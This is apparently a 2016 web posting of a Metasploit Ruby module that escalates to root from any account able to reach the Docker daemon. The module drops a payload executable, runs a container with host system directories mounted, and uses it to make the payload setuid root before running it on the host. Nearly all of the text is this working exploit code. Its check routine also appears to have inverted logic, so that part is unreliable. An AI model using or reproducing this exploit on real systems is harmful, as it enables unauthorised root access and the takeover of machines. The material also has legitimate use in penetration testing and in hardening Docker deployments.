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Docker Daemon Privilege Escalation

Posted on 17 September 2016

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local

Rank = ExcellentRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info, {
'Name' => 'Docker Daemon Privilege Escalation',
'Description' => %q{
This module obtains root privileges from any host account with access to the
Docker daemon. Usually this includes accounts in the `docker` group.
},
'License' => MSF_LICENSE,
'Author' => ['forzoni'],
'DisclosureDate' => 'Jun 28 2016',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X86_64, ARCH_ARMLE, ARCH_MIPSLE, ARCH_MIPSBE],
'Targets' => [ ['Automatic', {}] ],
'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 60 },
'SessionTypes' => ['shell', 'meterpreter'],
'DefaultTarget' => 0
}
))
register_advanced_options([
OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"])
], self.class)
end

def check
if cmd_exec('docker ps && echo true') == 'true'
print_error("Failed to access Docker daemon.")
Exploit::CheckCode::Safe
else
Exploit::CheckCode::Vulnerable
end
end

def exploit
pl = generate_payload_exe
exe_path = "#{datastore['WritableDir']}/#{rand_text_alpha(6 + rand(5))}"
print_status("Writing payload executable to '#{exe_path}'")

write_file(exe_path, pl)
register_file_for_cleanup(exe_path)

print_status("Executing script to create and run docker container")
vprint_status cmd_exec("chmod +x #{exe_path}")
vprint_status shell_script(exe_path)
vprint_status cmd_exec("sh -c '#{shell_script(exe_path)}'")

print_status "Waiting #{datastore['WfsDelay']}s for payload"
end

def shell_script(exploit_path)
deps = %w(/bin /lib /lib64 /etc /usr /opt) + [datastore['WritableDir']]
dep_options = deps.uniq.map { |dep| "-v #{dep}:#{dep}" }.join(" ")

%Q{
IMG=`(echo "FROM scratch"; echo "CMD a") | docker build -q - | awk "END { print \\$NF }"`
EXPLOIT="chown 0:0 #{exploit_path}; chmod u+s #{exploit_path}"
docker run #{dep_options} $IMG /bin/sh -c "$EXPLOIT"
docker rmi -f $IMG
#{exploit_path}
}.strip.split("
").map(&:strip).join(';')
end

end

 

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